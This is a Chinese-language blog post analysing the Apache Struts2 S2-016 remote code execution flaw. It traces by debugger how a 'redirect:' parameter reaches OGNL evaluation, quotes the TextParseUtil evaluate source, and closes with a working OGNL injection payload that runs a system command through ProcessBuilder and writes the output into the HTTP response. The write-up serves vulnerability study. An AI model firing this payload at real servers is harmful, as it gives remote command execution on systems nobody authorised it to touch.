S2-016远程代码执行漏洞分析

0x01 前言

最近在学习java安全,第一个目标就是Struts了,准备找一些比较典型的Struts漏洞进行一系列的分析。

0x02 漏洞分析

首先到Struts2的官方文档中找一下S2-016漏洞的文档
官方文档

看文档主要是找到该漏洞的版本,由图可知,该漏洞发生在Struts2.0.0 - Struts2.3.15,并且在Struts 2.3.15.1中得到修复,那么我们就将Struts 2.3.15和Struts 2.3.15.3两个版本的源码下载下载

使用Beyond Compare工具进行对比,注意要把比较时间戳的选项去掉

找了半天发现就一处不一样
/core/src/main/java/org/apache/struts2/dispatcher/mapper/DefaultActionMapper.java

通过对比,发现 REDIRECT_PREFIX、REDIRECT_ACTION_PREFIX被删掉了

同时他们配套的put方法也被删掉了

还有一个就是action对应的put方法中添加了一个cleanActionName方法

看了一下官方文档给的poc

我选择在redirect配套的put方法中加断点,看看情况是如何的。

在这里,有一个匿名类的用法,同时声明并执行了一个execute函数,看一下监视器中的变量

发现这里传入的key是

1
redirect:%{3*4}

也就是我传入的参数,那么这部分就是用户可控的地方。继续往下走setLocation方法就是这是重定向的值,最后把用户输入的重定向的值设置为result,result的一般在struts.xml中可以用标签来设置的,这里是用

1
?redirect:xxx

来设置的。
继续往下走,发现跳出了put方法

发现到了DefaultActionMapper类中的handleSpecialParameters函数中(这里可以记下来,如果后续没有思路的话可以回溯往上再找找看),此处我选择继续往下跟进。
多次step over和step into之后,发现跳到了StrutsPreparedAndExecuteFilter类的doFilter函数中,这个是Struts2的核心过滤器,每个请求都会到达这个类的这个函数中。

step into execute.executeAction中看一下,其中该方法的参数,request和response没什么好说的,mapping是请求的参数,包括redierect的location、Action的名称、namespace等等,继续跟进发现进入Dispatcher类中

其中有一个result.execute,进去看看

发现进入了ServletRedirectResult类的execute方法,其中还要进入他的父类ServletResultSupport的execute方法

继续跟进到conditionalParse方法中

进入到了StrutsResultSupport类中的conditionalParse方法,其中我们看到了translateVariables方法,这个方法其实就是一个可以执行ognl表达式的方法,继续分析一下

getStack()方法返回的就是OgnlValueStack,而param是%{3*4}刚好是我们输入的参数,满足参数可控,继续跟进

进入到了TextParseUtil类中,我们看到第一个参数是

1
new char[]{'$','%'}

也就是说我们输入%{xxxx}或者${xxx}都可以执行
之后我们进入translateVariables方法中


执行到parser.evaluate的时候跟进入,函数源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
public Object evaluate(char[] openChars, String expression, TextParseUtil.ParsedValueEvaluator evaluator, int maxLoopCount) {
// deal with the "pure" expressions first!
//expression = expression.trim();
Object result = expression;
int pos = 0;

for (char open : openChars) {
int loopCount = 1;
//this creates an implicit StringBuffer and shouldn't be used in the inner loop
final String lookupChars = open + "{";

while (true) {
int start = expression.indexOf(lookupChars, pos);
if (start == -1) {
loopCount++;
start = expression.indexOf(lookupChars);
}
if (loopCount > maxLoopCount) {
// translateVariables prevent infinite loop / expression recursive evaluation
break;
}
int length = expression.length();
int x = start + 2;
int end;
char c;
int count = 1;
//检查表达式中的格式是否是%{}或者${},‘{’或者‘}’不能多也不能少
while (start != -1 && x < length && count != 0) {
c = expression.charAt(x++);
if (c == '{') {
count++;
} else if (c == '}') {
count--;
}
}
end = x - 1;

if ((start != -1) && (end != -1) && (count == 0)) {
String var = expression.substring(start + 2, end); //获取大括号中的内容

Object o = evaluator.evaluate(var);//执行了ognl表达式,返回结果

String left = expression.substring(0, start);
String right = expression.substring(end + 1);
String middle = null;
if (o != null) {
middle = o.toString();
if (StringUtils.isEmpty(left)) {
result = o;
} else {
result = left.concat(middle);
}

if (StringUtils.isNotEmpty(right)) {
result = result.toString().concat(right);
}

expression = left.concat(middle).concat(right);
} else {
// the variable doesn't exist, so don't display anything
expression = left.concat(right);
result = expression;
}
pos = (left != null && left.length() > 0 ? left.length() - 1: 0) +
(middle != null && middle.length() > 0 ? middle.length() - 1: 0) +
1;
pos = Math.max(pos, 1);
} else {
break;
}
}
}
return result;
}

当执行到这里,再次进入

一路跟进,发现最后由Ognl类的getValue执行了ognl表达式


得到了结果12

0x03 exp编写

1
${#a=new java.lang.ProcessBuilder(new java.lang.String[]{"netstat","-an"}).start().getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[51020],#c.read(#d),#screen=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),#screen.println(#d),#screen.close()}

注意要进行url编码

0x04 总结

  • translateVariable能够执行ognl表达式
  • org.apache.struts2.dispatcher.StrutsResultSupport类中的conditionalParse能够解析ognl表达式
  • 所有的请求会到StrutsPreparedAndExecute类的doFilter中
  • exp中使用#content.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’).getWriter().printnln()来回显

本文标题:S2-016远程代码执行漏洞分析

文章作者:Pino-HD

发布时间:2018年06月19日 - 19:06

最后更新:2018年06月19日 - 19:06

原始链接:https://pino-hd.github.io/2018/06/19/S2-016远程代码执行漏洞分析/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

坚持原创技术分享,您的支持将鼓励我继续创作!